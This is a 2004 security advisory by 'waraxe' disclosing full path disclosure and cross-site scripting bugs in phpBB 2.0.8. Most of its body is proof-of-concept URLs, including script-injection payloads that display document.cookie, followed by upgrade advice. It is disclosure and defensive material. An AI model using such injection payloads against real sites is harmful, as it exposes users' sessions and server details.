{================================================================================}
{ [waraxe-2004-SA#034] }
{================================================================================}
{ }
{ [ XSS and full path disclosure in PhpBB 2.0.8 ] }
{ }
{================================================================================}
Author: Janek Vind "waraxe"
Date: 16. July 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=34
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
PhpBB is widely used and very popular forum software, written in php.
Homepage: http://www.phpbb.com/
Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
There are some uninitialized arrays in phpBB code, which can lead to XSS and full
path disclosure. "register_globals" must be enabled on server for those bugs to be
exploitable.
A - Full Path Disclosure
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
A1 - full path disclosure in "index.php":
http://localhost/phpbb208/index.php?category_rows=waraxe
Fatal error: [] operator not supported for strings in
D:\apache_wwwroot\phpbb208\index.php on line 120
A2 - full path disclosure in "language\lang_english\lang_faq.php":
http://localhost/phpbb208/faq.php?faq=waraxe
Fatal error: [] operator not supported for strings in
D:\apache_wwwroot\phpbb208\language\lang_english\lang_faq.php on line 41
A3 - full path disclosure in "language\lang_english\lang_bbcode.php ":
http://localhost/phpbb208/faq.php?mode=bbcode&faq=waraxe
Fatal error: [] operator not supported for strings in
D:\apache_wwwroot\phpbb208\language\lang_english\lang_bbcode.php on line 46
A4 - full path disclosure in "includes\usercp_viewprofile.php":
http://localhost/phpbb208/profile.php?mode=viewprofile&u=2&ranksrow=waraxe
Fatal error: [] operator not supported for strings in
D:\apache_wwwroot\phpbb208\includes\usercp_viewprofile.php on line 46
B - Cross-site scripting aka XSS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
B1 - XSS in "index.php":
http://localhost/phpbb208/index.php?category_rows[0][cat_id]=1
&category_rows[0][cat_title]=waraxe<script>alert(document.cookie);</script>
&category_rows[0][cat_order]=99
B2 - XSS in "language\lang_english\lang_faq.php":
http://localhost/phpbb208/faq.php?
faq[0][0]=f00<script>alert(document.cookie);</script>bar&faq[0][1]=waraxe
B3 - XSS in "language\lang_english\lang_bbcode.php ":
http://localhost/phpbb208/faq.php?mode=bbcode&;
faq[0][0]=f00<script>alert(document.cookie);</script>bar&faq[0][1]=waraxe
How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Affected versions are 2.0.8 and probaly older 2.x versions too.
Vendor has released new version - 2.0.9 - which is patched against discussed
bugs and contain many other improvements.
phpBB 2.0.9 packages can be downloaded at:
http://www.phpbb.com/downloads.php
Additional information and discussion at waraxe forum:
http://www.waraxe.us/forums.html
Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Greets to Raido Kerna and to http://www.gamecheaters.us staff!
Special greets to icenix and slimjim100!
Tervitused - Heintz ja Maku!
Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
come2waraxe@xxxxxxxxx
Janek Vind "waraxe"
Homepage: http://www.waraxe.us/
---------------------------------- [ EOF ] ------------------------------------
